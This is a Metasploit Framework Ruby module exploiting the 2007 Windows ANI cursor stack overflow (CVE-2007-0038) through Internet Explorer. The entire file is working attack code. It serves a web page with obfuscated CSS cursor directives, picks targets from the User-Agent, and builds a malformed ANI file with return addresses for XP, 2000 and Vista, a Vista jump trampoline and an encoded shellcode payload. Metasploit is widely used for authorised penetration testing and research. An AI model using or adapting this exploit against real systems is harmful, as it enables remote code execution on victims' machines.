##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote

	#
	# This module acts as an HTTP server
	#
	include Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)',
			'Description'    => %q{
				This module exploits a buffer overflow vulnerability in the 
				LoadAniIcon() function of USER32.dll. The flaw is triggered
				through Internet Explorer (6 and 7) by using the CURSOR style sheet
				directive to load a malicious .ANI file. Internet Explorer will catch any
				exceptions that occur while the	invalid cursor is loaded, causing the 
				exploit to silently fail when the wrong target has been chosen. This 
				module will be updated in the near future to perform client-side 
				fingerprinting and brute forcing.

				This vulnerability was discovered by Alexander Sotirov of Determina
				and was rediscovered, in the wild, by McAfee.  
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
				[ 
					'hdm',   # First version 
					'skape', # Vista support
				],
			'Version'        => '$Revision$',
			'References'     => 
				[
					['CVE', '2007-0038'],
					['CVE', '2007-1765'],
					['BID', '23194'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
					['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
					['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
				],
			'DefaultOptions' =>
				{
					# Cause internet explorer to exit after the code hits
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 1024 + (rand(1000)),
					'MinNops'     => 32,
					'Compat'      => 
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#
					# Use multiple cursor URLs to try all targets for a particular
					# operating system. This can result in multiple, sequential sessions
					#
					
					[ 'Automatic', { }],
				
					#
					# The following targets use call [ebx+4], just like the original exploit
					#
					
					# Partial overwrite for cross-language exploitation (latest user32 only)
					[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],
					
					# Should work for all English XP SP2
					[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

					# Should work for English XP SP0/SP1
					[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],					
					
					# Should work for English 2000 SP0-SP4+
					[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],					


					#
					# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start 
					# of the RIFF chunk itself.  The length field of the RIFF chunk
					# tag contains a short jump into an embedded riff chunk that
					# makes a long relative jump into the actual payload.
					#
					[ 'Windows Vista user32.dll 6.0.6000.16386', { 'Ret' => 0x700b, 'Len' => 2 } ]

				],
			'DisclosureDate' => 'Mar 28 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end
	
	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		mytarget = self.target
		ros  = /.*/

		case request.headers['User-Agent']

		when /Windows (NT |)4\.0/
			ros = /NT 4/
					
		when /Windows (NT |)5\.0/
			ros = /2000/
			
		when /Windows (NT |)5\.1/
			ros = /XP/
			
		when /Windows (NT |)5\.2/
			ros = /2003/
			
		when /Windows (NT |)6\.0/
			ros = /Vista/
		end
		
		
		targ = nil	
		exts = ['bmp', 'wav', 'png', 'zip', 'tar']
		gext =  exts[rand(exts.length)]
		
		ruri, qstr = request.uri.split('?')

		if (qstr and qstr =~ /.*=(\d+)/)
			targ = $1.to_i
		end
		
		mext = ruri =~ /\.(...)$/
		if (not (mext and exts.include?($1)))
		
			html =
				"<html><head><title>" + 
					rand_text_alphanumeric(rand(128)+4) +
				"</title>" +			
				"</head><body>" + rand_text_alphanumeric(rand(128)+1)

			mytargs = (target.name =~ /Automatic/) ? targets : [target]

			if target.name =~ /Automatic/
				targets.each_index { |i|
					next if not targets[i].ret
					next if not targets[i].name =~ ros
					html << generate_div(gext, i)
				}
			else
				html << generate_div(gext, target_index)
			end
			
			html << "</body></html>"
			
			send_response_html(cli, html)
			return
		end
		
		# Set the requested target
		if (targ and targets[targ])
			mytarget = targets[targ]
		end

		# Re-generate the payload, using the explicit target
		return if ((p = regenerate_payload(cli, nil, nil, target)) == nil)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the compressed response to the client
		send_response(cli, generate_ani(p, mytarget), { 'Content-Type' => 'application/octet-stream' })
		
		handler(cli)
	end

	def generate_div(gext, targ)
		"<div style='" +
			generate_css_padding() +
			Rex::Text.to_rand_case("cursor") +
			generate_css_padding() +
			":" +
			generate_css_padding() +
			Rex::Text.to_rand_case("url(") +
			generate_css_padding() +
			'"' +
			get_resource + '/' + rand_text_alphanumeric(rand(80)+16) + ".#{gext}" + 
			"?#{rand_text_alpha(rand(12)+1)}=#{targ}" +
			'"' +
			generate_css_padding() +
			");" +
			generate_css_padding() +
			"'>" +
			generate_padding() +
		"</div>"
	end

	def generate_ani(payload, target)
		
		# Build the first ANI header
		anih_a = [
			36,            # DWORD cbSizeof
			rand(128)+16,  # DWORD cFrames
			rand(1024)+1,  # DWORD cSteps
			0,             # DWORD cx,cy  (reserved - 0)
			0,             # DWORD cBitCount, cPlanes (reserved - 0)
			0, 0, 0,       # JIF jifRate
			1              # DWORD flags
		].pack('V9')
		
		anih_b = nil

		if (target.name =~ /Vista/)
			# Vista has ebp=80, eip=84
			anih_b         = rand_text(84)
			
			# Overwrite local counter variable and pointers
			anih_b[68, 12] = [0].pack('V') * 3
		else
			# XP/2K has ebp=76 and eip=80
			anih_b         = rand_text(80)
			
			# Overwrite locals with invalid pointers
			anih_b[64, 12] = [0].pack('V') * 3
		end
				
		# Overwrite the return with address of a "call ptr [ebx+4]"
		anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]
			
		# Begin the ANI chunk
		riff = "ACON"

		# Calculate the data offset for the trampoline chunk and add
		# the trampoline chunk if we're attacking Vista
		if target.name =~ /Vista/
			trampoline_doffset = riff.length + 8

			riff << generate_trampoline_riff_chunk
		end
		
		# Insert random RIFF chunks
		0.upto(rand(128)+16) do |i|
			riff << generate_riff_chunk()
		end
		
		# Embed the first ANI header
		riff << "anih" + [anih_a.length].pack('V') + anih_a

		# Insert random RIFF chunks
		0.upto(rand(128)+16) do |i|
			riff << generate_riff_chunk()
		end
		
		# Trigger the return address overwrite
		riff << "anih" + [anih_b.length].pack('V') + anih_b

		# If this is a Vista target, then we need to align the length of the
		# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
		if target.name =~ /Vista/
			plen  = (riff.length & 0xffff0000) | 0x0eeb
			plen += 0x10000 if (plen - 8) < riff.length
	
			riff << generate_riff_chunk((plen - 8) - riff.length)

			# Replace the operand to the relative jump to point into the actual
			# payload itself which comes after the riff chunk
			riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
		end
		
		# Place the RIFF chunk in front and off we go
		ret  = "RIFF" + [riff.length].pack('V') + riff 

		# We copy the encoded payload to the stack because sometimes the RIFF
		# image is mapped in read-only pages.  This would prevent in-place
		# decoders from working, and we can't have that.
		ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) 

		# Place the real payload right after it.
		ret << payload.encoded

		ret
	end

	# Generates a riff chunk with the first bytes of the data being a relative
	# jump.  This is used to bounce to the actual payload
	def generate_trampoline_riff_chunk
		tag = Rex::Text.to_rand_case(rand_text_alpha(4))
		dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
		tag +	[dat.length].pack('V') + dat
	end

	def generate_riff_chunk(len = (rand(256)+1) * 2)
		tag = Rex::Text.to_rand_case(rand_text_alpha(4))
		dat = rand_text(len)
		tag + [dat.length].pack('V') + dat
	end
	
	def generate_css_padding
		buf =
			generate_whitespace() + 
			"/*" + 
			generate_whitespace() + 
			generate_padding() + 
			generate_whitespace() + 
			"*/" + 
			generate_whitespace()
	end

	def generate_whitespace
		len = rand(100)+2
		set = "\x09\x20\x0d\x0a"			
		buf = ''

		while (buf.length < len)
			buf << set[rand(set.length)].chr
		end
		buf
	end
	
	def generate_padding
		rand_text_alphanumeric(rand(128)+4)
	end

end

end